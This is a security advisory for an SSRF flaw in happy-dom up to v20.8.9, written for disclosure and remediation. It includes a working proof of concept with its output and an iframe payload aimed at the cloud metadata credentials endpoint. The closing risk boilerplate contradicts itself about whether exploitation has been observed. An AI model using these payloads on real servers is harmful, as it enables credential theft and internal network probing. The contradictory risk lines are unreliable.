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GHSA-c8p4-j97h-3vg8
Summary
happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing <iframe> or <link rel="stylesheet"> elements. This behavior is enabled by default (disableIframePageLoading: false, disableCSSFileLoading: false). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.
Affected Versions
- happy-dom <= 20.8.9 (latest)
Vulnerable Behavior
By default, happy-dom has:
disableIframePageLoading: false— iframes fetch theirsrcURL via real HTTP requestsdisableCSSFileLoading: false—<link>stylesheets fetch theirhrefURL via real HTTP requests
When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.
Proof of Concept
Verified test (attacker server receives requests):
const http = require('http');
const { Window } = require('happy-dom');
// Start attacker server
const srv = http.createServer((req, res) => {
console.log(`SSRF HIT: ${req.method} ${req.url}`);
res.writeHead(200, {'Content-Type': 'text/html'});
res.end('<html><body>stolen</body></html>');
});
srv.listen(9995, () => {
// iframe SSRF — happy-dom makes a real GET request
const win1 = new Window({ url: 'http://localhost' });
win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>');
// stylesheet SSRF — happy-dom makes a real GET request
const win2 = new Window({ url: 'http://localhost' });
win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>');
});
Test output:
SSRF HIT: GET /iframe-ssrf
SSRF HIT: GET /stylesheet-ssrf
Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.
Cloud metadata attack scenario:
const { Window } = require('happy-dom');
const win = new Window({ url: 'http://localhost' });
// Attacker-controlled HTML triggers fetch to AWS metadata endpoint
win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>');
Impact
- Cloud credential theft —
<iframe src="http://169.254.169.254/...">fetches AWS/GCP/Azure metadata - Internal network scanning — probe internal services and ports
- Data exfiltration — read responses from internal APIs
- Affects any server-side use case — web scraping, email HTML rendering, SSR, testing with external HTML input
Suggested Fix
Change defaults to disable external resource loading:
disableIframePageLoading: true, // change from false
disableCSSFileLoading: true, // change from false
Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching.
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The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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